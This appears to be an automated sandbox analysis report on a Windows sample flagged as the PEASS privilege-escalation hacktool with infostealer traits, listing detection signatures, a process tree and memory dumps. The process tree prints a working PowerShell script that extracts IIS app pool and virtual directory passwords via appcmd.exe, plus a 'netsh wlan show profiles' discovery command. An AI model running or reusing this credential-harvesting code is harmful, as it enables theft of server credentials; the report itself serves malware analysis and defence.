Analysis

  • max time kernel
    149s
  • max time network
    135s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    16/09/2026, 00:11

General

  • Target
    2026-09-15_5447e0a4964cf55e5ec39182c72cfc29_darkgate_elex_glassworm_hijackloader_icedid_silence.exe
  • Size 10.7MB
  • Sample260916-agyapa1zgs
  • SHA256 a788900896f621af44001730090fd9d4e7ef899c90b88c9b3ceddf7a817bf885
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: PEASS, PEASS-ng, Peas

    PEASS is an open-source tool for privilege escalation.

  • Detects PEASS hacktool 2 IoCs
  • Detects executables containing SQL queries to confidential data stores. Observed in infostealers 2 IoCs
  • Detects executables manipulated with Fody 2 IoCs
  • Detects executables packed with Dotfuscator 2 IoCs
  • Detects executables referencing Windows vault credential objects. Observed in infostealers 2 IoCs
  • Detects executables referencing many confidential data stores found in browsers, mail clients, crypt 2 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Network Share Discovery 1 TTPs

    Attempt to gather information on host network.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-09-15_5447e0a4964cf55e5ec39182c72cfc29_darkgate_elex_glassworm_hijackloader_icedid_silence.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-09-15_5447e0a4964cf55e5ec39182c72cfc29_darkgate_elex_glassworm_hijackloader_icedid_silence.exe"
    1⤵
    • Loads dropped DLL
    • Checks whether UAC is enabled
    • Checks processor information in registry
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3252
    • C:\Windows\SYSTEM32\systeminfo.exe
      "systeminfo.exe"
      2⤵
      • Gathers system information
      PID:2076
    • C:\Windows\SYSTEM32\netsh.exe
      "netsh" wlan show profiles
      2⤵
      • Event Triggered Execution: Netsh Helper DLL
      • System Network Configuration Discovery: Wi-Fi Discovery
      PID:3852
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" # Check if appcmd.exe exists if (Test-Path ('C:\Windows\system32\inetsrv\appcmd.exe')) { # Create data table to house results $DataTable = New-Object System.Data.DataTable # Create and name columns in the data table $Null = $DataTable.Columns.Add('user') $Null = $DataTable.Columns.Add('pass') $Null = $DataTable.Columns.Add('type') $Null = $DataTable.Columns.Add('vdir') $Null = $DataTable.Columns.Add('apppool') # Get list of application pools Invoke-Expression 'C:\Windows\system32\inetsrv\appcmd.exe list apppools /text:name' | ForEach-Object { # Get application pool name $PoolName = $_ # Get username $PoolUserCmd = 'C:\Windows\system32\inetsrv\appcmd.exe list apppool ' + $PoolName + ' /text:processmodel.username' $PoolUser = Invoke-Expression $PoolUserCmd # Get password $PoolPasswordCmd = 'C:\Windows\system32\inetsrv\appcmd.exe list apppool ' + $PoolName + ' /text:processmodel.password' $PoolPassword = Invoke-Expression $PoolPasswordCmd # Check if credentials exists if (($PoolPassword -ne '') -and ($PoolPassword -isnot [system.array])) { # Add credentials to database $Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName) } } # Get list of virtual directories Invoke-Expression 'C:\Windows\system32\inetsrv\appcmd.exe list vdir /text:vdir.name' | ForEach-Object { # Get Virtual Directory Name $VdirName = $_ # Get username $VdirUserCmd = 'C:\Windows\system32\inetsrv\appcmd.exe list vdir ' + $VdirName + ' /text:userName' $VdirUser = Invoke-Expression $VdirUserCmd # Get password $VdirPasswordCmd = 'C:\Windows\system32\inetsrv\appcmd.exe list vdir ' + $VdirName + ' /text:password' $VdirPassword = Invoke-Expression $VdirPasswordCmd # Check if credentials exists if (($VdirPassword -ne '') -and ($VdirPassword -isnot [system.array])) { # Add credentials to database $Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA') } } # Check if any passwords were found if( $DataTable.rows.Count -gt 0 ) { # Display results in list view that can feed into the pipeline #$DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique $DataTable | Select-Object user,pass,type,vdir,apppool } else { # Status user Write-host 'No application pool or virtual directory passwords were found.' } }
      2⤵
        PID:5672
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
        PID:5240

      Network

            MITRE ATT&CK Enterprise v16

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            Downloads

            sqlite.interop.dll

            • Path C:\Users\Admin\AppData\Local\Temp\Costura\27562734BD0EFF9434A8AA8BED4CA874\64\sqlite.interop.dll
            • Size 1.9MB
            • SHA256 5459fab6809a11c2148c235fdf8c431fe370d3f12ff25c054750f47082ccc1c9
            • MD5 SHA1 SHA512 SSDEEP TLSH

            memory/3252-25-0x0000021EDDDD0000-0x0000021EDDDDA000-memory.dmp

            memory/3252-20-0x0000021EF8380000-0x0000021EF8434000-memory.dmp

            memory/3252-3-0x00007FFA63640000-0x00007FFA63FE4000-memory.dmp

            memory/3252-1-0x0000021EDCE50000-0x0000021EDD902000-memory.dmp

            memory/3252-8-0x00007FFA63640000-0x00007FFA63FE4000-memory.dmp

            memory/3252-9-0x00007FFA63640000-0x00007FFA63FE4000-memory.dmp

            memory/3252-10-0x00007FFA63640000-0x00007FFA63FE4000-memory.dmp

            memory/3252-11-0x00007FFA63640000-0x00007FFA63FE4000-memory.dmp

            memory/3252-12-0x00007FFA63640000-0x00007FFA63FE4000-memory.dmp

            memory/3252-13-0x0000021EF7E30000-0x0000021EF7E7A000-memory.dmp

            memory/3252-14-0x00007FFA63640000-0x00007FFA63FE4000-memory.dmp

            memory/3252-15-0x00007FFA63640000-0x00007FFA63FE4000-memory.dmp

            memory/3252-16-0x00007FFA63640000-0x00007FFA63FE4000-memory.dmp

            memory/3252-17-0x00007FFA63640000-0x00007FFA63FE4000-memory.dmp

            memory/3252-18-0x00007FFA63640000-0x00007FFA63FE4000-memory.dmp

            memory/3252-19-0x00007FFA63640000-0x00007FFA63FE4000-memory.dmp

            memory/3252-0-0x00007FFA637CF000-0x00007FFA637D0000-memory.dmp

            memory/3252-21-0x0000021EDDE10000-0x0000021EDDE1A000-memory.dmp

            memory/3252-2-0x00007FFA63640000-0x00007FFA63FE4000-memory.dmp

            memory/3252-22-0x0000021EF8590000-0x0000021EF85B6000-memory.dmp

            memory/3252-27-0x0000021EDDDC0000-0x0000021EDDDCA000-memory.dmp

            memory/3252-24-0x0000021EF7F00000-0x0000021EF7F18000-memory.dmp

            memory/3252-23-0x0000021EDDE20000-0x0000021EDDE28000-memory.dmp

            memory/3252-26-0x0000021EDDE30000-0x0000021EDDE38000-memory.dmp

            memory/3252-28-0x0000021EF85C0000-0x0000021EF85D8000-memory.dmp

            memory/3252-29-0x0000021EF88D0000-0x0000021EF8A92000-memory.dmp

            memory/3252-30-0x0000021EF8FD0000-0x0000021EF94F8000-memory.dmp

            memory/3252-31-0x00007FFA63640000-0x00007FFA63FE4000-memory.dmp

            memory/3252-32-0x00007FFA63640000-0x00007FFA63FE4000-memory.dmp

            memory/3252-34-0x00007FFA63640000-0x00007FFA63FE4000-memory.dmp

            memory/3252-33-0x00007FFA63640000-0x00007FFA63FE4000-memory.dmp

            memory/3252-35-0x00007FFA63640000-0x00007FFA63FE4000-memory.dmp

            memory/3252-36-0x00007FFA63640000-0x00007FFA63FE4000-memory.dmp

            memory/3252-43-0x0000021EFA770000-0x0000021EFB222000-memory.dmp

            memory/3252-44-0x0000021EF8E60000-0x0000021EF8EB0000-memory.dmp

            memory/3252-45-0x0000021EF88A0000-0x0000021EF88BE000-memory.dmp

            memory/3252-46-0x0000021EF8E10000-0x0000021EF8E1A000-memory.dmp

            memory/3252-51-0x00007FFA63640000-0x00007FFA63FE4000-memory.dmp

            memory/5672-49-0x0000018B6E280000-0x0000018B6E2A2000-memory.dmp